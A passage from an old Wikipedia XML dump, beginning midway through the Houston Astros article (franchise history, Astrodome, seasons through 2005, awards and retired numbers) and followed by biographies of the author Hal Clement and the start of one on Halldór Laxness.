Subsequent to the Giants and Dodgers leaving for California, an abortive attempt was made to start a third major league, to be called the [[Continental League]].  Though the league never got off the ground, it nonetheless established the demand for major league baseball in other markets.  On [[October 17th]], [[1960]], Judge  [[Roy Hofheinz]] and the ownership group from Houston is awarded a [[sport franchising|franchise]] in the ten-team [[National League]], called the '''Houston Colt .45s'''.  In addition to the Houston Colt .45s, the [[New York Mets]] would also join the NL in 1962, and the [[Los Angeles Angels of Anaheim|Los Angeles Angels]] and the [[Texas Rangers (baseball)|Washington Senators]] would join the AL in 1961.

The team would begin play on [[April 10]], [[1962]] and for the next three years, the team would play in [[Colt Stadium]].

On Sunday, [[September 29]], [[1963]], the final day of the regular season, Colt 45's outfielder [[John Paciorek]] would have a career day, going 3-for-3 with 3 RBIs, 2 walks and 4 runs scored as the team beat the Mets 13-4.  Unfortunately, because of chronic injuries, the game would mark Paciorek's only major league appearance.  Through 2005, Paciorek still holds the record of having a perfect 1.000 average with the most at-bats.  Sadly, September 29, 1963 would also mark the last major league game for the winning pitcher of that game, Astros pitcher [[Jim Umbricht]].  Stricken with [[cancer]], Umbricht would pass away on [[April 8]], [[1964]].  His number 32 was the first jersey number retired by the Astros.

Despite these tragic events, the franchise's first decade displayed some great hitters (e.g., [[Joe Morgan]], [[Jimmy Wynn]]) and many great pitchers (e.g., [[Bob Bruce]], [[Ken Johnson]], [[Mike Cuellar]], [[Don Wilson (baseball player)|Don Wilson]], [[Larry Dierker]], [[Dave Giusti]], and [[Denny LeMaster]].)

====Houston Astros: New venue, new name====
On [[April 9]], [[1965]], the Houston Colt .45s become the Houston Astros and inaugurate indoor baseball in the [[Astrodome]]. 

''The Sporting News Official Baseball Guide'' for 1965 had this to say about why the team was renamed:  &lt;!-- The following single brackets &quot;[]&quot; are meant as editor's notes and NOT as a wiki link. --&gt;&quot;Late in the year [1964] the [Harris County Domed Stadium] was officially named the Astrodome after the Houston club changed its nickname, December 1, from Colt .45s to Astros.  The move resulted from objections by the Colt Firearms Company to the club's sales of novelties bearing the old nickname.&quot;

Regardless of trade mark issues, &quot;Astros&quot; was a good fit for the futuristic ambiance of the revolutionary domed stadium and also since Houston was by then the home of [[NASA]]'s [[astronaut]] program.  The scoreboard retained subliminal references to the old nickname, as it featured electronically animated cowboys firing pistols, with the &quot;bullets&quot; ricocheting around the scoreboard, when an Astros player would hit a home run.  Early on, the groundskeepers also wore astronaut spacesuits to promote that futuristic image.

As a condition of their entry in the National League, the Astros committed to building a new domed stadium, designed as a defense against the oppressive heat and humidity of the Houston summer.  The result was the Astrodome.  

Loosely based on the old Roman Colosseum, the Astrodome was like no venue that had come before it, and it was dubbed the &quot;Eighth Wonder of the World&quot;.  As with many stadiums of that era, such as [[RFK Stadium]] and [[Shea Stadium]]. the Astrodome was a multi-purpose stadium, designed for both football and baseball.  However, because it was enclosed, it could also be used for events traditionally held in indoor areans, such as basketball, concerts and political convention, allowing outdoor-sized crowds in an indoor venue.

Besides its roof, the Astrodome was revolutionary for a number of other reasons.  It was one of the first stadiums to have individual, theatre-type seats for every seat in the venue.  Additionally, it was one of the first stadiums to have luxury seats and club seating, at the time a relatively new concept in sports venues.  It also had an &quot;exploding scoreboard&quot;, which would show various animations after a home run or a win, as well as messages and advertising.  

The Astrodome was also one of the first stadiums in the country to use an artificial playing surface.  The creation of an artificial surface came across based on necessity.  Originally the Astrodome had a grass field and a transparent roof.  However, during the 1965 season, players and fans complained about the glare on the field which detracted from the game.  As a result, the roof was painted black.  This solved the glare problem but killed off the grass.  As a solution the Astros deployed a product from [[Monsanto Corporation]] called [[AstroTurf]], a surface that could be used in any condition, and a surface that was, compared to grass, low maintenance.  

The surface did prove resilient to routine game play and was relatively safe, resulting in a number of colleges and pro teams switching to artificial surface fields.  Additionally, AstroTurf made possible a number of other domed stadiums, such as the [[Superdome]], the [[Carrier Dome]], and the [[Pontiac Silverdome]].

===1970s===
The year [[1975]] would be marked by tragedy with the suicide of former Astros pitcher [[Don Wilson]], who had pitched two no-hitters for the club.  Wilson's jersey number 40, was also retired by the Astros.

The Astros in [[1975 in baseball|1975]] would also adopt the orange, yellow and red &quot;Rainbow Guts&quot; uniforms that became a team trademark and would stay with them in some form through [[1993 in baseball|1993]].  These uniforms, originally made by Sand-Knit, were highly popular with fans, increased awareness of the Astros considerably, and kicked off a fashion trend which would spread to many a recreational softball team, and would eventually be worn by many high schools and colleges (notably Seton Hall, Tulane, and Louisiana Tech).  At the same time, the Astros also switched from blue caps to orange (although later they would revert to blue caps for road games and, eventually, all games)

In 1972 the Astros would have their best showing to date.  Under three different managers - including legendary manager [[Leo Durocher]] (whose last managerial job would be with these Astros]] the Astros finished the strike-abbreviated 1972 season 84-69 and in second place in the NL West.  

It was with the Astros that [[Bob Watson]] scored the 1,000,000th run in baseball history on [[May 30]], [[1975]].  Because there were other players in other venues competing simultaneously for the right to be designated with the milestone, Watson had to run around the bases after a home run at full speed so as to ensure that he would be the one credited with scoring the historic run. 

Former Pittsburgh Pirate player and manager [[Bill Virdon]] arrived in May 1975 as the team's new manager.  After three seasons hovering around .500, the Astros would be involved in their first real pennant race in 1979.  Though the team was dead last in power - they only hit 49 home runs as a team and nobody hit more than 10 home runs - the 1979 Astros were a team built around pitching and speed.  In fact, the Astros led the National League with 190 steals; four of the Astros' regular players had over 30 steals.  The team's stars included outfielder [[José Cruz|José Cruz, Sr.]], third baseman [[Enos Cabell]] and pitcher [[J.R. Richard]]  This formula enabled the Astros to lead the National League West for much of the season.  Yet they were unable to hold off the [[Cincinnati Reds]], who edged the Astros on the last weekend for the NL West title, ultimately winning the division by 1.5 games.

Following the [[1979 in baseball|1979]] season, [[Nolan Ryan]] signed with the Astros as a [[free agency|free agent]], agreeing to MLB's first million-dollar per year salary.

===1980s: First successes===
Using much the same pitching and speed strategy in [[1980 in baseball|1980]] as they had in 1979, the Astros won their first [[National League West|NL West]] championship.  They entered the final weekend series against the [[Los Angeles Dodgers|Dodgers]] with a three-game lead only needing to win one of the final three games to clinch the NL West.  However, the Astros were swept, forcing a one game post-season playoff game - the first such playoff since the National League switched to two-division format in 1969.  In the game in Los Angeles, [[Joe Niekro]] won his 20th game as the Astros cruised to an easy 7-1 victory over the Dodgers, clinching the team's first divisional title with a 93-70 record.

The Astros would push the [[Philadelphia Phillies|Phillies]] to five games in the NLCS.  In the decisive fifth game the Astros would take a 5-2 lead into the top of the 8th against the Phillies.  However, Nolan Ryan would be unable to hold the lead.  The Astros would go on to lose to the Phillies in 10 innings, 6-5.

Sadly, tragedy would rear its head again for the Astros in [[1980]].  [[JR Richard]], considered to be a front-runner for the National League's Cy Young Award, had a 10-4 record and an ERA of 1.73 on [[July 30]], [[1980]] when he suffered a [[stroke]] before a game.  In the days and weeks previous, Richard had complained of a &quot;dead arm&quot; and shoulder and neck pains.  Additionlly, in his last start on [[July 14]], he said he was unable to read the catcher's signs.  The stroke nearly killed him and although he survived, he never would pitch in the major leagues again. 

In the [[1981 baseball strike|strike-shortened 1981 season]], the Astros made the playoffs once again as the 2nd half Western Division champions.  They would face the Dodgers in the NLDS.  After winning the first two games, the Dodgers went on to win the final three games, thus making the Astros the first team in baseball history to lose a 5 game series, after winning the first two games.

Led by Nolan Ryan and Cy Young Award winner [[Mike Scott]], the Astros were a surprise NL West champion in [[1986 in baseball|1986]].  A highlight of the season was the Astros clinching the divisional title on Mike Scott's [[no-hitter]] against the [[San Francisco Giants]] on [[September 25]], [[1986]], the first time in baseball history that a title was clinched on a no-hitter.  

Their opponents in the NLCS were the [[New York Mets]], a team that with 108 wins were considered a team for the ages, destined to win a World Championship.  Ironically, both teams were celebrating their 25th season as MLB franchises that season.

The [[1986 National League Championship Series|1986 NLCS]] was noted for great drama and considered by some to be one of the best post-season series ever.  In Game 3, the Astros were ahead at Shea Stadium 5-4 in the bottom of the 9th when closer [[Dave Smith]] gave up a two-run home run to [[Lenny Dykstra]], giving the Mets a dramatic 6-5 win.  

However, the signature game of the series was Game 6.  Needing a win to get to Mike Scott (who had been dominant in the series) in Game 7,  the Astros jumped off to a 3-0 lead in the first inning but neither team would score again until the 9th inning.  In the 9th, starting pitcher [[Bob Knepper]] would give two runs, and once again the Astros would look to Dave Smith to close it out.  However, Smith would walk [[Gary Carter]] and [[Darryl Strawberry]], giving up a sacrifice fly to [[Ray Knight]], tying the game.  Despite having the go-ahead runs on base, Smith was able to escape the inning without any further damage.  

There was no scoring until the 14th inning when the Mets would take the lead on a [[Wally Backman]] single and [[Kevin Bass]] error.  The Astros would get the run back in the bottom of the 14th on a solo home run by [[Billy Hatcher]] with one out.  In the 16th inning, Darryl Strawberry doubled to lead off the inning and Ray Knight drove him home in the next at-bat.  The Mets would score a total of three runs in the inning to take what appeared an insurmountable 7-4 lead.  With their season on the line, the Astros would nonetheless rally for two runs to come to within 7-6.  Kevin Bass came up with the tying and winning runs on base; however [[Jesse Orosco]] would strike him out, ending the game.  This 16 inning game set a record for the longest in MLB postseason history until, ironically, the Astros were involved in the game that broke it on [[October 9]]. [[2005]] against the Atlanta Braves which went 18 innings.

Following the [[1988 in baseball|1988]] season the Astros experienced significant change.  Manager [[Hal Lanier]], unable to build on the Astros' success in 1986, was dismissed following the season.  Additionally, franchise icon Nolan Ryan left the Astros to join the [[Texas Rangers (baseball)|Texas Rangers]] in [[1989]], after being considered too old by then-owner [[John McMullen]].  Ryan would go on to pitch two more no-hitters for the Rangers in the early 90s to achieve a grand total of 7 - more than anyone else in major league history.  Ryan would also record his 5,000th strikeout with the Rangers, and entered the [[Baseball Hall of Fame|Hall of Fame]] as a Ranger.

[[1989 in baseball|1989]] would mark the rookie season of [[Craig Biggio]], who would set team records in many offensive categories.  Biggio started his career as a catcher, but was moved to second base so as to take full advantage of his speed and other offensive talents.

===1990s: Building a model franchise===
Many people consider the best move the Astros ever made their trade for [[Jeff Bagwell]] at the trading deadline in [[1990 in baseball|1990]].  The [[Boston Red Sox]], in a tight race for the [[American League East]] title, needed relief pitching help.  The Astros gave the Red Sox journeyman [[Larry Andersen]] in exchange for minor leaguer [[Jeff Bagwell]], who would win the [[1990]] [[Eastern League]] MVP award for the AA New Britain Red Sox.  With [[Mo Vaughn]] in their system, the Red Sox figured that Bagwell was expendible, and while Andersen did help the Red Sox to the divisional title, Bagwell would go on to become the Astros all time home run leader and, in most people's minds, the best overall player in Astros history.  (In addition, Bagwell and Biggio would begin a quirky trend &amp;ndash; an unusual number of Astro players having names beginning with '''B''', thus earning the team the nickname &quot;Killer B's&quot;.)

The early [[1990s|1990's]] was marked by the Astros' growing discontent with their home, the [[Astrodome]].  After the Astrodome was renovated for the primary benefit of the [[Houston Oilers]], the Astros began to grow increasingly disenchanted with the facility.  Faced with declining attendance at the Astrodome and the inability of management to obtain a new stadium, in the [[1991 in baseball|1991]] off-season the Astros announced their intention to sell the team and move the franchise to [[Washington, D.C.]]  However, the move was not approved by other National League owners, thus compelling the Astros to remain in Houston.  Shortly thereafter, McMullen (who also owned the [[National Hockey League|NHL]]'s [[New Jersey Devils]]), sold the team to Texas businessman [[Drayton McLane]] in [[1993]], who committed to leaving the team in Houston.

Shortly after McLane's arrival, which coincided with the maturation of Bagwell and Biggio, the Astros began to show signs of consistent success.  After finishing second in their division in [[1994 in baseball|1994]], [[1995 in baseball|1995]], and [[1996 in baseball|1996]], the Astros won consecutive division titles in [[1997 in baseball|1997]], [[1998 in baseball|1998]], and [[1999 in baseball|1999]].  In the [[1998]] season, the Astros set a team record with 102 victories.  However, each of these titles was followed by a first round playoff elimination, in 1998 by the [[San Diego Padres]] and in [[1997]] and [[1999]] against the [[Atlanta Braves]].  The manager of these title teams was [[Larry Dierker]], who had previously been a broadcaster and pitcher for the Astros.

Coinciding with the change in ownership, the team switched uniforms and team colors after the [[1993 in baseball|1993]] season.  The team's trademark &quot;rainbow stripes&quot; were retired, and the teams colors changed to midnight blue and metallic gold.  The &quot;Astros&quot; font was changed to a more aggressive font, and the team's traditional star logo was changed to a stylized, &quot;flying&quot; star with an open left end.  It marked the first time since the team's inception that orange was not part of the team's colors.  Despite general agreement that the rainbow uniforms identified with the team had become tired, the new uniforms and caps were never especially popular with fans.

Off the field, in [[1994]], the Astros hired one of the first [[African American|African-American]] General Managers, former franchise superstar [[Bob Watson]].  Watson would leave the Astros after the [[1995]] season to become general manager of the [[New York Yankees]], helping lead them to a [[1996 World Series|World Championship]] in [[1996]].  He would be replaced by [[Gerry Hunsicker]], who until [[2004]] would continue to oversee the building of the Astros into one of the better and most consistent organizations in the major leagues.

===2000s===
After years at the outdated Astrodome, the Astros moved into their new stadium in [[2000 in baseball|2000]].  Originally called [[Enron Field]], the stadium was one of the first to feature a functional retractable roof, considered a necessity in Houston.  Additonally the ballpark featured more intimate surroundings than the cavernous Astrodome. 

The ballpark features a train theme, based on its surroundings near an old train station.  A train whistle sounds, and a miniature train, circles the outfield after Astro home runs.  The ballpark also contains quirks such as &quot;Tal's Hill&quot;, where there is a hill in deep center field on which a flagpole stands, all in fair territory.  This was modeled after an identical feature that was located in [[Crosley Field]], former home of the [[Cincinnati Reds]].

Perhaps most significantly, with its short left field fence (only slightly longer to left field than [[Fenway Park]]), overall shorter dimensions, and exposure to the elements, including the humid Texas air, Enron Field played like a hitters' park.  This was a dramatic difference from the Astrodome, which was considered to be an extreme pitchers' park, and likely contributed to the Astros poor 72-90 record, as the Astros' &quot;fly-ball&quot; pitchers began to give up homeruns.  

With the change in location also came a change in attire.  Gone were the cold blue and gold uniforms of the 90's in favor a more &quot;retro&quot; look with pinstripes, a traditional baseball font, and the colors of brick red, sand and black.  The &quot;shooting star&quot; logo was modified but still retained its definitive look. 

In [[2001 in baseball|2001]], the Astros won another NL Central title, but were again eliminated from the playoffs in the first round by the Braves.  Despite four NL Central division titles in five years, the Astros lost in the first round each year (three times to the Braves) so Dierker was fired and replaced by former [[Boston Red Sox]] manager [[Jimy Williams]].  After the [[Enron]] scandal made headlines across the nation, the stadium's naming rights were eventually resold to [[Coca-Cola]], which dubbed the park &quot;[[Minute Maid Park]]&quot;.

After two fairly successful seasons without a playoff appearance, at midseason in [[2004 in baseball|2004]] the Astros were floundering.  At the All-Star Break they were 44-44 despite the presence of ace pitcher [[Roger Clemens]], who would go on to win the [[Cy Young Award]] that year.  After being booed at the [[2004 Major League Baseball All-Star Game|2004 All-Star Game]] as a coach for the National League, Williams was fired and replaced by [[Phil Garner]], who had been a star for the Astros' first division winner.  Though many people were highly skeptical of Garner, who had a mediocre track record in his prior managerial stints in [[Milwaukee Brewers|Milwaukeee]] and [[Detroit Tigers|Detroit]], with only one winning season at either stop (in [[1992 in baseball|1992]]), the team responded to Garner, who led the team to a 46-26 record in the second half and the National League's Wild Card.  They would go on to win their first playoff series in 8 attempts, beating the [[Atlanta Braves|Braves]] in five games of the [[National League Division Series]] to advance to the [[National League Championship Series]] for the third time (they were previously in the NLCS in [[1980 in baseball|1980]] &amp; [[1986 in baseball|1986]]), However, they would lose to the [[St. Louis Cardinals]] in 7 games, most dramatically on a [[walk-off home run]] by [[Jim Edmonds]] in Game 6. 

The Astros' 2004 success had much to do with the postponed retirement of star pitcher [[Roger Clemens]] (a [[Houston]] resident), who ended 2004 with a record 7th [[Cy Young Award]] (his first in the NL).  Clemens had previously announced that he was retiring after the [[2003 in baseball|2003]] season from the [[New York Yankees]].  However, after the Astros signed his former Yankee teammate [[Andy Pettitte]] and offered Clemens a number of perquisites (including the option to stay home with his family for certain road trips when he wasn't scheduled to pitch), Clemens reconsidered and signed a one-year deal with the Astros.

Additionally, the mid-season addition of [[Carlos Beltrán]] in a trade with the [[Kansas City Royals]] helped the Astros tremendously in their playoff run.  Despite rumblings in July and August that the Astros might flip him to another contender, Beltrán would prove instrumental to the Astros' hopes, hitting 8 home runs in the post-season.  Following the season, after initially asserting a desire to remain with the Astros, Beltrán signed a long term contract with the [[New York Mets]] on [[January 9]], [[2005]]).

The Astros and Nolan Ryan would also re-establish their relationship, thanks to Ryan's longtime friendship with Astros owner [[Drayton McLane]].  Ryan's minor league team, the [[Round Rock Express]] (who played outside of [[Austin, TX]]) would become an Astros minor league affiliate, first in the AA [[Texas League]] and eventually in the AAA [[Pacific Coast League]].  Additionally, Ryan was a frequent special guest of the Astros throughout the 2004 and 2005 playoffs and would also drop by Astros camp as a guest instructor.

====2005: A burden lifted====
In [[2005]], the Astros got off to a poor start, dropping to 15 games below .500 (15-30) in late May before becoming nearly unbeatable.  From that low point until the end of July, Houston went 42-17 and found themselves in the lead for the NL Wild Card.  The hitting, largely absent in April and May, was suddenly there, with even the pitchers contributing.  

The Astros had also developed an excellent pitching staff, anchored by future Hall of Famer Roger Clemens (who had a league-low ERA of only 1.87), Andy Pettitte, and [[Roy Oswalt]].  Rookie starter [[Ezequiel Astacio]] and [[Wandy Rodríguez]] were also successful. 

In July alone, the Astros went 22-7, the best single month record in the club's history. The Astros finished the [[2005 in baseball|2005]] regular season by winning a wild card berth on the final day of the regular season, just as they did in 2004, becoming only the second team to come from 15 games under .500 to enter the post season, the other team being the [[1914 in baseball|1914]] Boston Braves, now the [[Atlanta Braves]]. (Those Braves would go on and sweep the [[Oakland Athletics|Philadelphia Athletics]] in the [[1914 World Series|World Series]].  Coincidentally, the Astros beat out the Philadelphia Phillies, their closest rival, for the Wild Card.) 

The Astros won their National League Division Series against the [[Atlanta Braves]] in four games.  The fourth game set a record for a post-season game with most innings (18), most players used by a single team (T-23), most grand slams (2), and longest played time (5 hours and 50 minutes).  [[Chris Burke (baseball)|Chris Burke]] hit a home run to win the game by a score of 7-6. After winning in the first round they picked up where they left off in the previous year, facing a rematch against the [[St. Louis Cardinals]].  

It is also notable that both the grand slam [[Lance Berkman]] hit in the 8th inning and the solo shot hit by [[Chris Burke]] in the 18th inning to win 3 hours later were caught by the same fan, [[Shaun Dean]], in the left field [[Crawford boxes]].  Dean, a 25-year-old comptroller for a construction company, donated the balls to the Hall of Fame and he and his son were rewarded with gifts from the Astros and the [[Baseball Hall of Fame]] as well as playoff tickets behind home plate.

The [[2005 National League Championship Series|National League Championship Series (NLCS)]] featured a rematch of the [[2004 National League Championship Series|2004 NLCS]]. The Astros lost the first game in [[St. Louis]], but would win the next three games with one in St. Louis and the next two in Houston.  The Astros were poised to close-out the series in Houston, but the Cardinals managed to score three runs in the top of the 9th with a 3-run homerun by [[Albert Pujols]] off Brad Lidge with two outs.  This would take the series back to St. Louis, where the Astros won the final game of the NLCS and the final game played at [[Busch Stadium]].

Current honorary [[National League]] President [[William Y. Giles]] presented the Astros the Warren C. Giles Trophy, which is awarded to the National League Champion. It was Warren Giles, father of William and President of the National League from [[1951]] to [[1969]], who in October 1960 awarded the city of Houston the major league franchise that would become the Houston Astros. [[Roy Oswalt]], who went 2-0 and had an ERA of 1.29, won the NLCS MVP.

The Astros' opponent in their first and only [[2005 World Series|World Series]] was the [[Chicago White Sox]].  Games 1 and 2 were  held at [[U.S. Cellular Field]] in [[Chicago]], while Games 3, 4 were played at [[Minute Maid Park]]. Early conventional wisdom held that the White Sox were a slight favorite, but that [[Houston]] would be an even match.  However, the Astros' situational hitting continued to plague them throughout the World Series.  The White Sox swept the Astros in the best-of-seven series with a run differential of only 6.

==Quick facts==
:'''Founded:''' [[1962]] ([[National League]] expansion)
:'''Uniform colors:''' Brick red, black, and gold 
:'''Logo design:''' Red five-pointed star with the word &quot;Astros&quot; below it in script
:'''Playoff appearances''' (9): [[1980]], [[1981]], [[1986]], [[1997]], [[1998]], [[1999]], [[2001]], [[2004]], [[2005]]
:'''World Series appearances'''(1): [[2005]] 
:'''Official Television Stations:''' [[FSN]] (Houston), KNWS TV-51
:'''Official Radio Stations:''' KTRH (740), KLAT (1010) (Spanish)

==Awards==
&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!width=&quot;100&quot;|Name
!width=&quot;150&quot;|Award
!width=&quot;50&quot;|Year
|-
|[[Jeff Bagwell]]
|[[MLB Most Valuable Player Award|NL MVP]]
|[[1994]]
|-
|[[Roger Clemens]]
|[[Cy Young Award|NL Cy Young]]
|[[2004]]
|-
|[[Mike Scott (baseball)|Mike Scott]]
|[[Cy Young Award|NL Cy Young]]
|[[1986]]
|-
|[[Jeff Bagwell]]
|[[MLB Rookie of the Year Award|NL Rookie of the Year]]
|[[1991]]
|-
|[[Larry Dierker]]
|[[Manager of the Year Award|NL Manager of the Year]]
|[[1998]]
|-
|Hal Lanier
|[[Manager of the Year Award|NL Manager of the Year]]
|[[1986]]
|-
|[[Bill Virdon]]
|[[Manager of the Year Award|NL Manager of the Year]]
|[[1980]]
|}
&lt;/center&gt;

==Current roster== 
{{:Houston Astros roster}}

==[[Baseball Hall of Fame]]rs==
* 8 [[Joe Morgan]], 2B, 1963-71 &amp; 1980
* 2 [[Nellie Fox]], 2B, 1964-65
* 38 [[Robin Roberts (baseball player)|Robin Roberts]], P, 1965-66 (Phillies retired his #36)
* 11 [[Eddie Mathews]], 3B, 1967 (Braves retired his #41)
* 2 [[Leo Durocher]], MGR, 1972-73
* 34 [[Nolan Ryan]], P, 1980-88 (Rangers also retired his #34, and Angels his #30)
* 20 [[Don Sutton]], P, 1981-82

==Retired Numbers==
* 24 [[Jimmy Wynn]], OF, 1963-73
* 25 [[José Cruz]], OF, 1975-87
* 32 [[Jim Umbricht]], P, 1962-63
* 33 [[Mike Scott]], P, 1983-91
* 34 [[Nolan Ryan]], P, 1980-88
* 40 [[Don Wilson]], P, 1966-74
* 49 [[Larry Dierker]], P 1964-76, MGR 1997-2001

While not officially retired, the Astros have not reissued number 57 since [[2002]], when pitcher [[Darryl Kile]] died as an active player with the [[St. Louis Cardinals]].

==Minor league affiliations==
* '''AAA:''' [[Round Rock Express]], [[Pacific Coast League]]
* '''AA:''' [[Corpus Christi Hooks]], [[Texas League]]
* '''Advanced A:''' [[Salem Avalanche]], [[Carolina League]]
* '''A:''' [[Lexington Legends]], [[South Atlantic League]]
* '''Short A:''' [[Tri-City Valley Cats]], [[New York-Penn League]]
* '''Rookie:''' [[Greeneville Astros]], [[Appalachian League]]
* '''Rookie:''' [[VSL Astros]], [[Venezuelan Summer League]]

==See also==
*[[Lone Star Shootout]] - interleague rivalry with the [[Texas Rangers (baseball)|Texas Rangers]]
*[[Houston Astros/Award winners and league leaders|Astros award winners and league leaders]]
*[[Houston Astros/Team records|Astros statistical records and milestone achievements]]
*[[Houston Astros/Players of note|Astros players of note]]
*[[Houston Astros/Broadcasters|Astros broadcasters and media]]
*[[Houston Astros/Managers and ownership|Astros managers and ownership]]
*[[Curse of Judge Hofheinz]]
*[[Juice-Beer rivalry]] - a rivalry between the [[St. Louis Cardinals]] 

==External links==
*[http://houston.astros.mlb.com/NASApp/mlb/hou/homepage/hou_homepage.jsp Houston Astros official web site]
*[http://www.astrosdaily.com AstrosDaily.com, reference and daily commentary ]
*[http://www.astroszone.com AstrosZone.com reference site]
*[http://www.baseball-reference.com/teams/HOU/ Astros team page on Baseball-Reference.com]
*[http://www.thebaseballpage.com/present/fp/nl/hou.htm Astros team page at TheBaseballPage.com]
*[http://p200.ezboard.com/bastrofans Houston Astros Fan Forum]
*[http://www.petitiononline.com/richrd50/petition.html Petition to the Astros to Retire #50 in Honor of JR Richard]
{{MLB Team Houston Astros}}
{{MLB}}

[[Category:Major League Baseball teams]]

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  </page>
  <page>
    <title>Hal Clement</title>
    <id>13895</id>
    <revision>
      <id>27637737</id>
      <timestamp>2005-11-07T18:04:53Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Re-categorisation per [[Wikipedia:Categories for deletion]].</comment>
      <text xml:space="preserve">'''Harry Clement Stubbs''' ([[May 30]], [[1922]] - [[October 29]], [[2003]]), better known by the pen name '''Hal Clement''', was an [[United States|American]] [[science fiction]] writer, a leader of the subgenre [[Hard science fiction|hard science fiction]].

He was born in [[Somerville, Massachusetts]]

During the [[World War II]] he was a pilot and copilot of the [[B-24 Liberator]] and flew 35 combat missions over [[Europe]] with [[Eighth Air Force|8th Air Force]]. He served in the [[United States Army Air Corps|Army Air Corps]] Reserve, and retired with the rank of colonel. He taught chemistry for many years at [[Milton Academy]] in [[Milton, Massachusetts]].  

He went to [[Harvard University|Harvard]], graduating with a B.S. in [[astronomy]] in 1943.  While there he published his first story, &quot;Proof&quot;, in the June [[1942]] issue of [[Astounding Science Fiction]]. His further educational background includes an, M. Ed. ([[Boston University]] [[1946]]), and M.S. in [[chemistry]] ([[Simmons College]] [[1963]]).

Clement received the [[1998]] recognition as a Grand Master by the [[Science Fiction and Fantasy Writers of America]] (SFWA). In [[1996]] he retroactively received a [[1946]] [[Hugo Award]] for his short story &quot;Uncommon Sense&quot;.

His best-known novel, ''[[Mission of Gravity]],'' is the account of a land and sea expedition across the [[superjovian]] planet [[Mesklin]] to recover a stranded scientific probe. The natives of Mesklin are centipede-like intelligent beings about 50 centimeters in length. Various episodes hinge on the fact that Mesklin's fast rotational speed causes it to be considerably deformed from the spherical, and its effective surface gravity to vary from approximately 3 ''[[gee|g]]''&lt;sub&gt;n&lt;/sub&gt; at the equator to approximately 700 ''g''&lt;sub&gt;n&lt;/sub&gt; at the poles.

Clement's article &quot;Whirligig World&quot; describes his approach to writing a science fiction story:&lt;blockquote&gt;&quot;Writing a science fiction story is fun, not work. ... the fun... lies in treating the whole thing as a game. ... the rules must be quite simple.  They are; for the reader of a science-fiction story, they consist of finding as many as possible of the author's statements or implications which conflict with the facts as science currently understands them.  For the author, the rule is to make as few such slips as he possibly can.   ... Certain exceptions are made [e.g., to allow travel faster than the speed of light, but] fair play demands that all such matters be mentioned as early as possible in the story...&quot;&lt;/blockquote&gt;

He also painted astronomically oriented artworks under the name George Richard.

Clement was a frequent guest at science fiction conventions, especially in the eastern United States, where he usually presented talks and slide shows about writing and astronomy.

==Bibliography==
*''Needle'' (1950)
*''Iceworld'' (1953)
*''Mission of Gravity'' (1954)
*''The Ranger Boys in Space'' (1956) (for children)
*''Cycle of Fire'' (1957)
*''Close to Critical'' (1964)
*''Star Light'' (1971) (sequel to ''Mission of Gravity'')
*''Ocean on Top'' (1973)
*''Through the Eye of a Needle'' (1978) (sequel to ''Needle'')
*''The Nitrogen Fix'' (1980)
*''Still River'' (1987)
*''Fossil'' (1993)
*''Half Life'' (1999)
*''Noise'' (2003)

==External links==
* {{isfdb name|id=Hal_Clement|name=Hal Clement}}

[[Category:1922 births|Clement, Hal]]
[[Category:2003 deaths|Clement, Hal]]
[[Category:American science fiction writers|Clement]]
[[Category:Nebula Grand Masters|Clement, Hal]]
[[Category:American World War II veterans|Clement, Hal]]
[[Category:People from Massachusetts|Clement, Hal]]
[[Category:Hugo Award winning authors|Clement, Hal]]
[[Category:ISBN needed]]

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  <page>
    <title>Halldór Laxness</title>
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      <comment>spacing</comment>
      <text xml:space="preserve">[[Image:halldorlaxness.jpg|right|thumb|Halldór Laxness]]
'''Halldór Kiljan Laxness''' (born '''Halldór Guðjónsson''') ([[April 23]], [[1902]] &amp;ndash; [[February 8]], [[1998]]) was a [[20th century]] [[Iceland|Icelandic]] author of such novels as ''[[Independent People]]'', ''[[The Atom Station]]'', ''[[Paradise Reclaimed]]'', ''[[Iceland's Bell]]'', ''[[The Fish Can Sing]]'' and ''[[World Light]]''.  He won the [[Nobel Prize in Literature#1950s|Nobel Prize in Literature]] in [[1955]].

==Some facts==
Halldór Kiljan Laxness was the son of Sigríður Halldórsdóttir (born [[1872]]) and Guðjón Helgason (born [[1870]]). He lived in [[Reykjavík]] during his early years, then moved to [[Laxnes]] in [[Mosfellssveit]] in [[1905]].  Forty years later, he moved to [[Gljúfrasteinn]], Mosfellsveit.

He soon started to read books and write stories, and when he was 14 years old, his first article was published in ''[[Morgunblaðið]]'' under the name ''H.G.'' Not much later he published an article (about an old clock) under his name in the same paper. During his career [[#Publications|he wrote]] 51 [[novel]]s, [[poetry]], many newspaper articles, [[play]]s, [[travelogue]]s, [[short story|short stories]] and more.

He was married twice and had four children. Laxness died at the age of 95.

Several biographies have been written about Laxness, some of them controversial, such as the three volume work by [[Hannes Hólmsteinn Gissurarson]]. Laxness’ widow has filed suit against Gissurarson for alleged breach of copyright. In [[2005]] the Icelandic National Theatre premiered a play by [[Ólafur Haukur Símonarson]], called ''Halldór í Hollywood'' (Halldór in Hollywood) about the years that Laxness spent there.
[[Image:halldorlaxness2.jpg|right|thumb|Laxness with his Nobel Prize certificate in 1955. His wife, [[Auður Laxness]], is also on the picture.]]
==Catholicism==
In the end of [[1922]], Laxness joined an [[abbey]] in [[Clervaux]], [[Luxembourg]]. The [[Benedictine Order|monks]] of the [[abbey]], named Abbaye St. Maurice et St. Maur, followed the rules of [[Saint Benedict of Nursia]].  Laxness was baptised and confirmed in [[Catholicism]] early in [[1923]]. It was at that occasion he adopted the family name Laxness and added Kiljan after his first name, Halldór. [[Killian]] was an [[Ireland|Irish]] [[martyr]] and [[saint]]. (N.B.: Iceland is one of the few countries in the world which retains the &quot;patronymic&quot; tradition under which people do not usually bear &quot;family surnames&quot; but instead are called &quot;X son of Y&quot; or &quot;X daughter of Y&quot;.  Hence his original name, Halldór Guðjónsson, meant &quot;Halldór son of Guðjón&quot; just as his own parents' names meant, respectively, &quot;Sigríður daughter of Halldór&quot; and &quot;Guðjón son of Helgi&quot;.)

Inside the walls of the abbey, he practised self-study, read books, studied [[French language|French]], [[Latin]], [[theology]] and [[philosophy]]. It was also there that the story ''Undir Helgahnjúk'', which was published in [[1924]], was written. Laxness published the book under his new name; '''Halldór Kiljan Laxness'''.   While in the abbey, Laxness became devout and even [[orthodox]]. Soon after his baptism, he even became a member of a group which prayed for reversion of the [[Nordic countries]] back to [[Catholicism]].

